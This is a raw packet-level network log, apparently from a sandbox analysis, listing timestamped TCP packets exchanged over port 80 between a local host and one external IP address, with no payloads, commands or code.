May 22, 2024 20:06:32.451338053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451349974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451366901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451380968 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451392889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451412916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451421022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451437950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451446056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451462030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451472998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451487064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451498032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451508045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451525927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451539993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451553106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451561928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451577902 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451597929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.451616049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451654911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.451654911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455024004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455094099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455367088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455389977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455425024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455435991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455470085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455480099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455499887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455512047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455543041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455600977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455621958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455637932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455648899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455660105 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455677986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455688000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455734968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455758095 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455775023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455785036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455805063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455812931 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455848932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455871105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455916882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.455935001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455955029 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455975056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.455993891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456032038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456156015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456176996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456197023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456217051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456224918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456244946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456254005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456270933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456288099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456298113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456320047 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456360102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456381083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456402063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456419945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456444025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456458092 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456475973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456484079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456501961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456513882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456527948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456552029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456659079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456679106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456698895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456717014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456727028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456744909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456754923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456772089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.456789017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456825972 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.456988096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457009077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457026958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457035065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457048893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457065105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457073927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457091093 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457104921 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457118988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457134962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457151890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457163095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457180977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457201004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457218885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457226992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457247019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457256079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457290888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457418919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457439899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457458973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457479000 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457487106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457501888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457514048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457535982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457542896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457557917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457567930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457577944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457595110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457606077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457622051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.457631111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.457659006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.460688114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.460936069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.461656094 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.461709023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.464735031 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.464756966 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.464776993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.464796066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.464806080 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.464823008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.464832067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.464864016 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.464926958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.464946985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.464966059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.464984894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.464993000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465009928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465018034 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465034008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465055943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465063095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465089083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465101004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465117931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465126991 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465142965 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465159893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465168953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465181112 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465195894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465204954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465221882 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465231895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465259075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465265989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465284109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465305090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465312958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465331078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465339899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465354919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465364933 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465382099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465389967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465405941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465418100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465435982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465445995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465464115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465471983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465491056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465498924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465514898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465523958 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465543032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465548992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465564966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465574026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465589046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465600967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465617895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465629101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465641975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465656042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465671062 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465682983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465692043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465708971 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465722084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465737104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465745926 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465761900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465775013 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465792894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465801954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465817928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465832949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465846062 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465856075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465872049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465893984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465902090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465919018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465928078 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465939045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465955973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465974092 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.465982914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.465997934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466011047 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466020107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466037035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466051102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466058969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466074944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466083050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466099977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466119051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466128111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466145992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466162920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466172934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466190100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466196060 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466213942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466234922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466242075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466263056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466279030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466289043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466314077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466322899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466344118 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466353893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466372013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466387987 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466398954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466418982 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466435909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466444016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466464043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466490030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466500044 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466517925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466527939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466546059 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466557026 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466573954 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466583967 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466598988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466609001 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466625929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466634989 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466646910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466664076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466672897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466691017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466706991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466726065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466737032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466754913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466763973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466779947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466803074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466809988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466828108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466844082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466852903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466867924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466880083 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466905117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466917992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466928005 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466938972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466948986 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.466967106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466984034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.466993093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467031002 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467056036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467073917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467097998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467104912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467123032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467135906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467169046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467195034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467212915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467233896 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467252016 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467259884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467279911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467288971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467304945 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467324018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467330933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467355967 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467375040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467385054 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467408895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467416048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467432976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467441082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467456102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467478991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467485905 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467504025 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467519045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467530012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467551947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467559099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467571020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467582941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467597961 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467606068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467621088 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467627048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467641115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467648983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467663050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467670918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467689037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467695951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467710018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467721939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.467732906 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.467756033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.470822096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.470840931 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.470863104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.470881939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.470890999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.470907927 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.470930099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.470937014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.470954895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.470967054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.470985889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.470999956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.471005917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471024990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.471033096 CEST	49708	80	192.168.2.6	185.172.128.82
